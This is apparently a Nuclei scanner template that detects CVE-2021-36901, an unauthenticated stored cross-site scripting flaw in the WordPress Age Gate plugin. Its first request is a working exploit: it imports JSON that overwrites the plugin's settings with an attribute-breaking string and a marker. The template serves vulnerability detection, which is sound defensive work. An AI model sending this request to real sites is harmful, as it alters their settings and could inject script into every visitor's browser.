id: CVE-2021-36901
info:
name: Age Gate <= 2.17.0 - Unauthenticated Stored Cross-Site Scripting via Data Import
author: DhiyaneshDk
severity: medium
description: |
Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in Phil Baker's Age Gate plugin <= 2.17.0 at WordPress.
impact: |
Execution of arbitrary JavaScript in the browser of every visitor to an age-gated page, and arbitrary WordPress option overwrite via the unauthenticated import.
remediation: |
Update Age Gate to 2.18.0 or later, and restrict the import/export functionality.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-36901
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/age-gate/age-gate-2170-cross-site-scripting-via-data-import
- https://wpscan.com/vulnerability/e10767b7-018c-4532-8be6-09834055844c/
- https://plugins.trac.wordpress.org/changeset?old_path=/age-gate/tags/2.17.1&new_path=/age-gate/tags/2.18.0
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-36901
epss-score: 0.01141
epss-percentile: 0.67292
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: agegate
product: age-gate
framework: wordpress
publicwww-query: "/wp-content/plugins/age-gate/"
tags: cve,cve2021,wordpress,wp-plugin,age-gate,xss,unauth,intrusive,vkev
variables:
marker: "{{to_lower(rand_text_alpha(12))}}"
boundary: "{{rand_base(24)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="ag_import_action"
import
--{{boundary}}
Content-Disposition: form-data; name="ag_json"; filename="s.json"
Content-Type: application/json
{"x":{"wp_age_gate_messages":{"button_text":"\">
{{marker}}","yes_text":"Yes","no_text":"No","yes_no_message":"Are you over %s?","instruction":"","under_age_msg":"no","generic_error_msg":"err","invalid_input_msg":"inv","remember_me_text":"r","cookie_message":"c","text_day":"D","text_month":"M","text_year":"Y","messaging":"","additional":""}}}
--{{boundary}}--
matchers:
- type: dsl
dsl:
- "status_code == 200 || status_code == 302"
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
matchers-condition: and
matchers:
- type: word
part: body
words:
- '
{{marker}}'
- type: status
status:
- 200
# digest: 480a00453043022055e9943122372e9df658414b5df50f79e971d711111442f02e21f2381b36fb90021f6cda860181bd156c298f5234d5c8c044d9fa738568c60c0b5ff65fb9a1cb45:922c64590222798bb761d5b6d8e72950